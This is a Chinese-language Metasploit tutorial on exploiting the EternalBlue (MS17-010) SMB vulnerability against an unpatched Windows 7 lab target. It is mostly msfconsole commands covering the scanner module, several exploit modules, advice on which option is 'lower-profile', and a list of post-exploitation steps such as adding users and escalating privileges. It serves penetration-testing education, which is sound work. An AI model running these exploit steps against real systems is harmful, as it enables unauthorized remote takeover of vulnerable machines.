Metasploit入门系列(六)——永恒之蓝
字数 1111 2025-08-18 11:39:00
Metasploit永恒之蓝(MS17-010)漏洞利用详解
一、永恒之蓝漏洞概述
永恒之蓝(MS17-010)是微软Windows操作系统SMB服务中的一个远程代码执行漏洞,于2017年3月被微软修补。该漏洞影响Windows 7、Windows Server 2008等多个版本的操作系统。
二、环境准备
1. 靶机要求
- Windows 7系统(未打2017年3月补丁)
- 关闭防火墙或允许SMB流量
- 使用SMBv1协议
2. 攻击机配置
service postgresql start # 启动PostgreSQL数据库
msfdb init # 初始化Metasploit数据库
msfconsole # 启动Metasploit框架
三、漏洞探测
1. 使用扫描模块
search ms17_010 # 搜索相关模块
use auxiliary/scanner/smb/smb_ms17_010 # 使用探测模块
set RHOSTS <靶机IP> # 设置目标IP
run # 执行扫描(注意不是RUN)
2. 探测模块说明
smb_ms17_010模块位于scanner目录下,专注于漏洞探测- 如果显示靶机存在漏洞,则可进行下一步利用
四、漏洞利用
1. 主要利用模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <靶机IP>
run
成功执行后将自动获取shell。
2. 其他利用模块
(1) ms17_010_command模块
use auxiliary/admin/smb/ms17_010_command
特点:
- 自带命令执行功能
- 比完整exploit更低调
- 位于
admin目录下,侧重管理功能
(2) ms17_010_psexec模块
use exploit/windows/smb/ms17_010_psexec
使用条件:
- 防火墙允许SMB流量
- 目标使用SMBv1协议
- 目标缺少MS17-010补丁
- 目标允许匿名IPC$和管道名
可使用scanner/smb/pipe_auditor模块检查这些条件。
(3) Windows 8专用模块
use exploit/windows/smb/<win8专用模块>
专门针对Windows 8系统的利用模块,配置选项较少。
五、后渗透操作
获取shell后可执行以下操作:
- 添加用户
- 提权
- 远程登录
- 其他后渗透操作
六、模块选择建议
- 纯探测需求:优先使用
scanner/smb/smb_ms17_010 - 低调利用需求:使用
ms17_010_command模块 - 完整利用:使用
ms17_010_eternalblue或ms17_010_psexec - Windows 8系统:使用专用模块
七、常见问题
-
新版本探测模块问题:
- 新版本Metasploit中的某些探测模块可能对某些系统版本效果不佳
- 旧模块可能探测到而新模块无法探测到的情况确实存在
-
模块选择玄学:
- 不同Windows版本对模块的响应不同
- 遇到问题时建议尝试所有相关模块
-
Win7与Win8差异:
- Win8系统默认配置可能更易受某些模块攻击
- 具体原因可能与系统默认服务和协议配置有关
八、最佳实践
- 测试前确认靶机系统版本和补丁状态
- 按照探测→利用的顺序操作
- 根据需求选择合适的模块(探测/命令执行/完整利用)
- 记录测试结果,建立不同系统版本的利用经验库
通过以上步骤,可以系统性地测试和利用MS17-010永恒之蓝漏洞。实际渗透测试中应根据目标环境灵活选择最适合的模块和方法。